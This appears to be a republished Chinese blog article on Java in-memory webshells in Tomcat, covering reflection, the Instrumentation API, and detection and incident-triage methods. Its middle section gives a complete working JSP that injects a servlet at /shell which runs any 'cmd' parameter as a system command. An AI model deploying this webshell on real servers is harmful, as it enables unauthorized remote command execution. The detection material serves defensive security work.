1. 程式人生 > 其它 >Java Instrumentation 記憶體馬——主要是利用Instrumentation Java API來做記憶體注入,會用到反射機制,文中提到檢測思路:注入jar包-> dump已載入class位元組碼->反編譯成java程式碼-> 原始碼webshell檢測

Java Instrumentation 記憶體馬——主要是利用Instrumentation Java API來做記憶體注入,會用到反射機制,文中提到檢測思路:注入jar包-> dump已載入class位元組碼->反編譯成java程式碼-> 原始碼webshell檢測

 java背景知識

2.3.1 java反射

反射提供的功能,能在執行時(動態)的

1.獲取一個類的所有成員變數和方法

2.建立一個類的物件

a.獲取物件成員變數&賦值
b.呼叫物件的方法
c.判斷物件所屬的類

在注入記憶體馬的過程當中,我們可能需要用到反射機制,例如注入一個servlet型的記憶體馬,我們需要使用反射機制來獲取當前的context,然後將惡意的servlet(wrapper)新增到當前的context的children中。
在使用Java反射機制時,主要步驟包括:

①獲取 目標型別的Class物件
②通過 Class 物件分別獲取Constructor類物件、Method類物件 & Field 類物件
③通過 Constructor類物件、Method類物件 & Field類物件分別獲取類的建構函式、方法&屬性的具體資訊,並進行後續操作

2.3.2 java instrumentation

Instrumentation是Java提供的一個來自JVM的介面,該介面提供了一系列檢視和操作Java類定義的方法,例如修改類的位元組碼、向classLoader的classpath下加入jar檔案等。使得開發者可以通過Java語言來操作和監控JVM內部的一些狀態,進而實現Java程式的監控分析,甚至實現一些特殊功能(如AOP、熱部署)。
Java agent是一種特殊的Java程式(Jar檔案),它是Instrumentation的客戶端。與普通Java程式通過main方法啟動不同,agent並不是一個可以單獨啟動的程式,而必須依附在一個Java應用程式(JVM)上,與它執行在同一個程序中,通過Instrumentation API與虛擬機器互動。
在注入記憶體馬的過程中,我們可以利用java instrumentation機制,動態的修改已載入到記憶體中的類裡的方法,進而注入惡意的程式碼。


三、記憶體馬實現

這裡我們以tomcat的servletAPI型記憶體馬為例講一下記憶體馬的實現。下面的程式碼先是建立了一個惡意的servlet,然後獲取當前的StandardContext,然後將惡意servlet封裝成wrapper新增到StandardContext的children當中,最後新增ServletMapping將訪問的URL和wrapper進行繫結。

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 建立惡意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    %>
<%
    // 獲取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper對其進行封裝
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 新增封裝後的惡意Wrapper到StandardContext的children當中
    standardCtx.addChild(newWrapper);

    // 新增ServletMapping將訪問的URL和Servlet進行繫結
    standardCtx.addServletMapping("/shell","jweny");
%>

執行上述程式碼後,訪問當前應用的/shell路徑,加上cmd引數就可以命令執行了。使用新增servlet的方式就需要繫結指定的URL。如果我們想要更加隱蔽,做到記憶體馬與URL無關,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令,那就得通過注入新的或修改已有的filter或者listener的方式來實現了。比如早期rebeyond師傅開發的memshell,就是通過修改org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法來實現的,後期冰蠍最新版本的記憶體馬為了實現更好的相容性,選擇hook javax.servlet.http.HttpServlet#service 函式,在weblogic選擇hook weblogic.servlet.internal.ServletStubImpl#execute 函式。

四、記憶體馬檢測與排查

4.1原始碼檢測

在java中,只有被JVM載入後的類才能被呼叫,或者在需要時通過反射通知JVM載入。所以特徵都在記憶體中,表現形式為被載入的class。需要通過某種方法獲取到JVM的執行時記憶體中已載入的類, Java本身提供了Instrumentation類來實現執行時注入程式碼並執行,因此產生一個檢測思路:注入jar包-> dump已載入class位元組碼->反編譯成java程式碼-> 原始碼webshell檢測。
這樣檢測比較消耗效能,我們可以縮小需要進行原始碼檢測的類的範圍,通過如下的篩選條件組合使用篩選類進行檢測:
①新增的或修改的;
②沒有對應class檔案的
③xml配置中沒註冊的
④冰蠍等常見工具使用的
⑤filterchain中排第一的filter類

還有一些比較弱的特徵可以用來輔助檢測,比如類名稱中包含shell或者為隨機名,使用不常見的classloader載入的類等等。

另外,有一些工具可以輔助檢測記憶體馬,如java-memshell-scanner是通過jsp掃描應用中所有的filter和servlet,然後通過名稱、對應的class是否存在來判斷是否是記憶體馬

4.2 記憶體馬排查

如果我們通過檢測工具或者其他手段發現了一些記憶體webshell的痕跡,需要有一個排查的思路來進行跟蹤分析,也是根據各型別的原理,列出一個排查思路。

如果是jsp注入,日誌中排查可疑jsp的訪問請求。

如果是程式碼執行漏洞,排查中介軟體的error.log,檢視是否有可疑的報錯,判斷注入時間和方法

根據業務使用的元件排查是否可能存在java程式碼執行漏洞以及是否存在過webshell,排查框架漏洞,反序列化漏洞。

如果是servlet或者spring的controller型別,根據上報的webshell的url查詢日誌(日誌可能被關閉,不一定有),根據url最早訪問時間確定被注入時間。

如果是filter或者listener型別,可能會有較多的404但是帶有引數的請求,或者大量請求不同url但帶有相同的引數,或者頁面並不存在但返回200

參考連結

java web請求三大器——listener、filter、servlet
Tomcat架構原理
利用“程序注入”實現無檔案復活 WebShell
深入理解反射
查殺Java web filter型記憶體馬